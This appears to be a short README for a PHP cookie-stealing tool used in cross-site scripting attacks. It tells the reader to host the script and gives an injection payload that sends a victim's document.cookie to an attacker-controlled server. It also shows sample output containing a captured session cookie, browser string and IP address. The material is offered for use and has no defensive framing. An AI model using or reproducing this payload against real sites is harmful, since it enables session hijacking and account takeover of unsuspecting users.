A PHP script to run on your server to grab cookies through xss. Place in your webserver root folder, give permissions and start server
example injection:
<script> var i = new Image(); i.src="http://your_server.site/cookiestealer.php?g="+document.cookie; </script>example output:
Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 g=PHPSESSID=8lb9e51o6c4449rbjfhfi1prru4 192.168.1.69